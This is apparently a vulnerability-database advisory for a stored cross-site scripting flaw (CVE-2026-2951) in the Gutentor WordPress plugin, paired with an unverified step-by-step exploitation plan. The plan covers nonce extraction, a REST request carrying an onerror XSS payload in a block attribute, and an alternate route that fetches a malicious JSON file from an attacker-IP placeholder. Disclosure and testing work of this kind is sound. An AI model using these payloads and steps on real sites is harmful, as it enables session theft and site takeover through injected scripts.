CVE-2026-2951

Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor <= 3.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutentor Block HTML

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.5.6
Patched in
1d
Time to patch

Description

The Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.5.5
PublishedApril 22, 2026
Last updatedApril 23, 2026
Affected plugingutentor

What Changed in the Fix

Changes introduced in v3.5.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutentor – Gutenberg Blocks** plugin (<= 3.5.5). ### 1. Vulnerability Summary The Gutentor plugin allows authenticated users (Contributor level and above) to create posts using Gutentor-speci…

Show full research plan

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentor – Gutenberg Blocks plugin (<= 3.5.5).

1. Vulnerability Summary

The Gutentor plugin allows authenticated users (Contributor level and above) to create posts using Gutentor-specific Gutenberg blocks. Several of these blocks allow users to customize the HTML tags used for various elements (e.g., wrapper tags, title tags). In version 3.5.5, the plugin fails to consistently apply sanitization functions like gutentor_get_title_tag() or gutentor_get_module_tag() (defined in includes/functions/sanitize.php) within the PHP render_callback functions of all blocks. An attacker can supply a malicious HTML tag or a tag name followed by an attribute breakout as a block attribute, leading to stored XSS when the post is viewed.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API for posts (/wp-json/wp/v2/posts/{id}).
  • Action: Updating a post's content (post_content) to include a Gutentor block with a malicious attribute.
  • Authentication: Required (Contributor role or higher). Contributors have the edit_posts capability.
  • Payload Location: Inside the Gutenberg block comment delimiter as a JSON attribute (e.g., titleTag, wrapperTag, or elementTag).
  • Target Blocks: Likely candidates include gutentor/accordion, gutentor/advanced-list, gutentor/icon, or gutentor/counter.

3. Code Flow

  1. Entry Point: A Contributor user sends a REST API request to update a post. The post_content contains Gutentor block markup: <!-- wp:gutentor/accordion {"titleTag": "PAYLOAD"} -->...<!-- /wp:gutentor/accordion -->.
  2. Storage: WordPress saves the raw block markup into the wp_posts table.
  3. Sink: When a user views the post, the Gutenberg renderer identifies the block and calls the associated PHP render_callback function for the Gutentor block.
  4. Vulnerable Path: The render_callback extracts the attribute (e.g., $attributes['titleTag']) and echoes it directly into the HTML without passing it through gutentor_get_title_tag().
    • Example Vulnerable Logic: echo '<' . $attributes['titleTag'] . ' class="...">';
    • Bypass: If the attribute is img src=x onerror=alert(1), the output becomes <img src=x onerror=alert(1) class="...">.

4. Nonce Acquisition Strategy

To interact with the WordPress REST API, a valid wp_rest nonce is required in the X-WP-Nonce header.

  1. Preparation: Create a page with any Gutentor block to ensure scripts are loaded (though the standard editor nonce is usually sufficient).
  2. Navigation: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/index.php) as the Contributor user.
  3. Extraction: Use browser_eval to extract the REST API nonce from the global wpApiSettings object.
    • JavaScript: window.wpApiSettings.nonce
  4. Verification: Confirm the nonce is a 10-character alphanumeric string.

5. Exploitation Strategy

We will target a common Gutentor block and attempt to inject an XSS payload via a tag attribute.

  1. Authenticate: Log in as a user with the Contributor role.
  2. Obtain Nonce: Extract the wp_rest nonce using the strategy above.
  3. Identify Post: Create a new post or use an existing one belonging to the contributor.
  4. Send Update Request: Send a POST request to /wp-json/wp/v2/posts/{id}.
    • Header: X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: application/json
    • Body:
      {
        "content": "<!-- wp:gutentor/accordion {\"titleTag\":\"img src=x onerror=alert(document.domain) \"} /-->"
      }
      
    • Alternative Block: If gutentor/accordion is patched or not installed, try gutentor/advanced-list with the attribute elementTag.
  5. Trigger: Navigate to the published post's URL in the browser (ideally as an Administrator).

6. Test Data Setup

  1. Contributor User: Create a user with the username attacker and role contributor.
  2. Target Post:
    wp post create --post_type=post --post_status=publish --post_title='Gutentor Test' --post_author=$(wp user get attacker --field=ID)
    
  3. Plugin Check: Ensure Gutentor is active and version is <= 3.5.5.
    wp plugin get gutentor --field=version
    

7. Expected Results

  • The REST API should return a 200 OK response confirming the post was updated.
  • The post_content in the database will contain the malicious Gutentor block JSON.
  • When viewing the post, the HTML source should contain <img src=x onerror=alert(document.domain) ... instead of a standard tag like <h3>.
  • An alert box with the document domain should appear in the browser.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='Gutentor Test'"
    
    Confirm the payload is stored exactly as sent.
  2. Check Output:
    # Use http_request to fetch the post and check for the payload
    # Expected: <img src=x onerror=alert(document.domain)
    

9. Alternative Approaches

  • SVG Vector: If tag attributes are sanitized, check if the SVG feature is vulnerable. Gutentor has a gutentor_esc_svg function in includes/functions/sanitize.php. An attacker could try to inject an SVG block with a payload that bypasses this filter, such as using the style attribute (which is allowed) with a legacy XSS vector or nested tags.
  • Template Import: Use the REST route /wp-json/gutentor-advanced-import/v1/import_template?url=http://[ATTACKER_IP]/malicious.json. This route is available to Contributors and fetches external JSON. An attacker could host a malicious block configuration here to bypass client-side validation in the editor.
    • Payload for malicious.json:
      {
        "post_content": "<!-- wp:gutentor/accordion {\"titleTag\":\"script>alert(1)</script\"} /-->"
      }
      
    • The Contributor calls the API, and the server fetches the malicious block content, which is then returned to the editor and can be saved to the post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.